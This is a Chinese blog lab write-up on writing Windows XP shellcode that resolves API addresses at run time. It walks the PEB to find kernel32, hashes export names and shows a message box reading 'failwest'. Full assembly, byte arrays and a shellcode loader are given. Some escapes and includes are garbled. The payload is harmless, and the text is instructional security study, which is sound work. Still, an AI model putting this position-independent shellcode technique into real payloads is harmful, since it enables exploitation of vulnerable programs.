• 3.5 动态定位shellcode


    一、实验目的

            自动定位API函数的地址,编写能实现弹出消息框并显示“failwest”的shellcode。

    二、实验环境

            windows XP、VC6.0、Ollydbg

    三、shellcode的加载与调试

            shellcode的常见形式就是用转义字符把机器码存在一个字符数组中。我们可以将3.2实验CSDN的shellcode的机器码存在字符数组中,如下:

    1. \x66\x81\xEC\x40\x04 //sub sp,0x440
    2. x33\xDB //xor ebx,ebx
    3. \x53 //push ebx
    4. \x68\x77\x65\x73\x74 //push 0x74736577
    5. \x68\x66\x61\x69\x6C //push 0x6C696166
    6. \x8B\xC4 //mov eax,esp
    7. \x53 //push ebx
    8. \x50 //push eax
    9. \x50 //push eax
    10. \x53 //push ebx
    11. \xB8\xEA\x07\xD5\x77 //mov eax,0x77D507EA
    12. \xFF\xD0 //call eax
    13. \x53 //push ebx
    14. \xB8\xFA\xCA\x81\x7C //mov eax,0x7C81CAFA
    15. \xFF\xD0 //call eax

            汇编语言变为机器码的做法:可以将汇编代码在编译器中生成PE文件,再用Ollydbg打开,找到相应的代码,即可提取机器码。

            此外,由于shellcode需要漏洞程序已经初始化好了进程空间和资源等,故往往不能单独运行。为了能在实际运行中调试这样的机器码,我们可以使用以下一段简单的代码来装载shellcode:

    1. #include
    2. #include
    3. char shellcode[]="x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50\x53\xB8\xEA\x07\xD5\x77\xFF\xD0\x53\xB8\xFA\xCA\x81\x7C\xFF\xD0";
    4. void main()
    5. {
    6. LoadLibrary("user32.dll");
    7. _asm
    8. {
    9. lea eax,shellcode
    10. push eax
    11. ret
    12. }
    13. }

            注:运行此段shellcode首先要装载user32.dll,不然,会出现以下情况:

         

            怎样发现需要装载user32.dll的?在Ollydbg中运行错误生成的PE文件,可得:

    四、动态定位APId地址的shellcode

            为了实现弹出消息框并显示“failwest”,需要使用如下API函数:

    (1)MessageBoxA:位于user32.dll中,用于弹出消息框;

    (2)ExitProcess:位于kernel32.dll中,用于正常退出程序;

    (3)LoadLibrary:位于kernel32.dll中。

            并不是所有的程序都会装载user32.dll,故,在调用MessageBoxA之前,需要先使用LoadLibrary(“user32.dll”)装载其所属的动态链接库。为保证shellcode尽可能短,一般会对所需API函数名进行hash运算,在搜索导出表时对当前遇到的函数名同样进行hash运算,只要比较hash所得的摘要(digest),即可判断该函数是不是我们所需的AP函数。

            本实验采用的hash函数的C代码如下:

    1. #include
    2. #include
    3. DWORD GetHash(char *fun_name)
    4. {
    5. DWORD digest=0;
    6. while(*fun_name)
    7. {
    8. digest=((digest<<25)|(digest>>7));
    9. digest+= *fun_name;
    10. fun_name++;
    11. }
    12. return digest;
    13. }
    14. main()
    15. {
    16. DWORD hash;
    17. hash=GetHash("MessageBoxA");
    18. printf("result of hash is %.8x\n",hash);
    19. }

            运行效果,如下图所示:
           

            API函数及hash后的摘要如表所示:

    API函数及hash后的摘要
    API函数名经过hash运算得到的摘要
    MessageBoxA0x1e380a6a
    ExitProcess0x4fd18963
    LoadLibrary0x0c917432

            在将hash压入栈中之前,需要将增量标志DF清零。因为当shellcode利用异常处理机制植入时,往往会引起标志位变化,使得shellcode的字符串处理方向发生变化而产生错误。

            将上述hash结果压入栈中,并用一个寄存器标识位置,以便搜索AP函数:

    1. CLD // 清空标志位DF
    2. push 0x1e380a6a // 压入 MessageBoxA 字符串的hash
    3. push 0x4fd18963 // 压入 ExitProcess 字符串的hash
    4. push 0x0c917432 // 压入 LoadLibraryA 字符串的hash
    5. mov esi, esp // 指向栈中存放LoadLibraryA的 hash 地址
    6. lea edi, [esi - 0xc] // 用于存放API函数的地址

             抬高栈顶,保护shellcode不会被破坏:

    1. xor ebx, ebx //抬高栈顶
    2. mov bh, 0x04
    3. sub esp, ebx

            定位kernel32.dll代码:

    1. mov ebx, fs:[edx + 0x30] // FS得到当前线程环境块TEB,TEB+0x30是进程环境块 PEB
    2. mov ecx, [ebx + 0x0c]
    3. // PEB+0x0c是PEB_LDR_DATA结构体指针存放这已经被进程加载的动态链接库的信息
    4. mov ecx, [ecx + 0x1c]
    5. //PEB_LDR_DATA+0x1c 指向模块初始化链表的头指针InInitalizationOrderModuleList,
    6. //第一个节点就是ntdll.dl
    7. mov ecx, [ecx] // 第二个就是kernel32.dll
    8. mov ebp, [ecx + 0x08] // ebp即kernel32.dll基地址

            在导出表中搜索API函数的逻辑:

              最终代码如下:

    1. #include
    2. #include
    3. void main()
    4. {
    5. _asm
    6. { // 将要调用的函数hash值入栈保存
    7. CLD // 清空标志位DF
    8. push 0x1e380a6a // 压入 MessageBoxA字符串的hash
    9. push 0x4fd18963 // 压入 ExitProcess字符串的hash
    10. push 0x0c917432 // 压入 LoadLibraryA字符串的hash
    11. mov esi, esp // 指向栈中存放LoadLibraryA的hash地址
    12. lea edi, [esi-0xc] // 存放所需API函数地址
    13. // 抬升栈顶
    14. xor ebx, ebx
    15. mov bh, 0x04
    16. sub esp, ebx
    17. // 将指向user32.dll字符串的指针入栈
    18. mov bx, 0x3233
    19. push ebx // 压入字符'32'
    20. push 0x72657375 // 压入字符 'user'
    21. push esp //ESP指向user32.dll字符串
    22. xor edx, edx
    23. // 查找 kernel32.dll 的基地址
    24. mov ebx, fs:[edx+0x30] // FS指向TEB,TEB+0x30指向PEB
    25. mov ecx, [ebx+0x0c] // PEB_LDR_DATA结构体指针
    26. mov ecx, [ecx+0x1c] // 链表第一个节点ntdll.dll
    27. mov ecx, [ecx] // 链表第二个节点kernel32.dll
    28. mov ebp, [ecx+0x08] // ebp即kernel32.dll基地址
    29. // 判断当前正在定位的API是否为MessageBoxA函数
    30. find_lib_funcs :
    31. lodsd // 将[esi]中的4字节 传到eax中
    32. cmp eax, 0x1e380a6a // 比较 MessageBoxA 字符串的hash值
    33. jne find_funcs // 如果不相等则继续查找
    34. xchg eax, ebp // 记录当前hash值
    35. call[edi-0x8] // 调用LoadLibraryA
    36. xchg eax, ebp // 还原当前hash值,且把ebp更新为user32.dll的基地址
    37. // 在PE文件中查找相应的API函数
    38. find_funcs :
    39. pushad // 保存寄存器环境
    40. mov eax, [ebp+0x3c] // 指向PE头
    41. mov ecx, [ebp+eax+0x78] // 导出表的相对偏移地址(RVA)
    42. add ecx, ebp // 导出表虚拟地址(VA)
    43. mov ebx, [ecx+0x20] // 导出函数名称表的相对偏移地址(RVA)
    44. add ebx, ebp // 导出函数名称表内存虚拟地址(VA)
    45. xor edi, edi // 初始化计数器
    46. // 循环读取导出表函数
    47. next_func_loop :
    48. inc edi // 函数计数器+1
    49. mov esi, [ebx+edi*4] // 当前函数名的相对偏移地址(RVA)
    50. add esi, ebp // 当前函数名的内存虚拟地址(VA)
    51. cdq;
    52. // 计算hash值
    53. hash_loop: // 循环得到当前函数名的hash
    54. movsx eax, byte ptr[esi] // 得到当前函数名称 第esi的一个字母
    55. cmp al, ah // 比较到达函数名最后的0没有
    56. jz compare_hash // 函数名hash 计算完毕后跳到 下一个流程
    57. ror edx, 7 // 循环右移7位
    58. add edx, eax // 累加得到hash
    59. inc esi // 计数+1 得到函数名的下一个字母
    60. jmp hash_loop // 循环跳到 hash_loop
    61. // hash值的比较
    62. compare_hash :
    63. cmp edx, [esp+0x1c] // 比较目标函数名hash和当前函数名的hash
    64. jnz next_func_loop // 如果 不等于 继续下一个函数名
    65. mov ebx, [ecx+0x24] // 导出表中函数序号表的相对偏移地址(RVA)
    66. add ebx, ebp // 导出表中函数序号表的虚拟地址(VA)
    67. mov di, [ebx+2*edi] // 当前函数的序号
    68. mov ebx, [ecx+0x1c] // 导出表中函数地址表的相对偏移位置(RVA)
    69. add ebx, ebp // 导出表中函数地址表的虚拟位置(VA)
    70. add ebp, [ebx+4*edi] // 导出表中当前函数的相对偏移地址
    71. // 循环依次得到kernel32.dll中的 LoadLibraryA ExitProcess
    72. // 和user32.dll中的 MessageBoxA
    73. xchg eax, ebp // 把函数地址放入eax中
    74. pop edi // pushad中最后一个压入的是edi,用于存放的三个函数地址的栈空间
    75. stosd // 把找到函数地址出入edi对应的栈空间
    76. push edi // 继续压栈平衡栈
    77. popad // 还原环境
    78. cmp eax, 0x1e380a6a // 比较是否是 MessageBoxA 函数,如果是说明全部函数已经找齐,可以调用函数执行功能
    79. jne find_lib_funcs
    80. // 下方的代码,就是弹窗
    81. func_call :
    82. xor ebx,ebx // 将 ebx 清0
    83. push ebx
    84. push 0x74736577
    85. push 0x6C696166 // 压入“failwest”
    86. mov eax,esp // failwest的载入地址
    87. // 下面就是将MessageBox的参数压栈
    88. push ebx
    89. push eax
    90. push eax
    91. push ebx
    92. call[edi - 0x04] // 调用 MessageBoxA
    93. push ebx
    94. call[edi - 0x08] // 调用 ExitProcess
    95. nop
    96. nop
    97. nop
    98. nop
    99. }
    100. }

            可以直接编译执行:

            也可以将shellcode变为机器代码,以数组字符的形式存放:

    1. char shellcode[] =
    2. "\xFC\x68\x6A\x0A\x38\x1E\x68\x63"
    3. "\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    4. "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7"
    5. "\x04\x2B\xE3\x66\xBB\x33\x32\x53"
    6. "\x68\x75\x73\x65\x72\x54\x33\xD2"
    7. "\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
    8. "\x49\x1C\x8B\x09\x8B\x69\x08\xAD"
    9. "\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
    10. "\xFF\x57\xF8\x95\x60\x8B\x45\x3C"
    11. "\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
    12. "\x20\x03\xDD\x33\xFF\x47\x8B\x34"
    13. "\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
    14. "\xC4\x74\x08\xC1\xCA\x07\x03\xD0"
    15. "\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
    16. "\xE4\x8B\x59\x24\x03\xDD\x66\x8B"
    17. "\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
    18. "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D"
    19. "\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
    20. "\x53\x68\x77\x65\x73\x74\x68\x66"
    21. "\x61\x69\x6C\x8B\xC4\x53\x50\x50"
    22. "\x53\xFF\x57\xFC\x53\xFF\x57\xF8";

            用前边的shellcodej加载程序单独加载运行:

    1. #include
    2. #include
    3. char shellcode[] =
    4. "\xFC\x68\x6A\x0A\x38\x1E\x68\x63"
    5. "\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    6. "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7"
    7. "\x04\x2B\xE3\x66\xBB\x33\x32\x53"
    8. "\x68\x75\x73\x65\x72\x54\x33\xD2"
    9. "\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
    10. "\x49\x1C\x8B\x09\x8B\x69\x08\xAD"
    11. "\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
    12. "\xFF\x57\xF8\x95\x60\x8B\x45\x3C"
    13. "\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
    14. "\x20\x03\xDD\x33\xFF\x47\x8B\x34"
    15. "\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
    16. "\xC4\x74\x08\xC1\xCA\x07\x03\xD0"
    17. "\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
    18. "\xE4\x8B\x59\x24\x03\xDD\x66\x8B"
    19. "\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
    20. "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D"
    21. "\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
    22. "\x53\x68\x77\x65\x73\x74\x68\x66"
    23. "\x61\x69\x6C\x8B\xC4\x53\x50\x50"
    24. "\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
    25. void main()
    26. {
    27. _asm
    28. {
    29. lea eax,shellcode
    30. push eax
    31. ret
    32. }
    33. }

            运行结果:

     

  • 相关阅读:
    [Numpy] 创建数组
    VUE 组合式API
    第11章_数据处理之增删改
    免费开源Blazor在线Ico转换工具
    【BUG】记一次Maven install 报错 Could not find artifact ...:pom:0.0.1-SNAPSHOT
    自研框架跻身全球 JS 框架榜单,排名紧随 React、Angular 之后!
    DS1302和LCD1602整合长短按键电子钟
    基于SSM的高校课程评价系统
    Matlab:整数
    node exec(“clip“) 复制到剪切板 乱码
  • 原文地址:https://blog.csdn.net/qq_55202378/article/details/126130256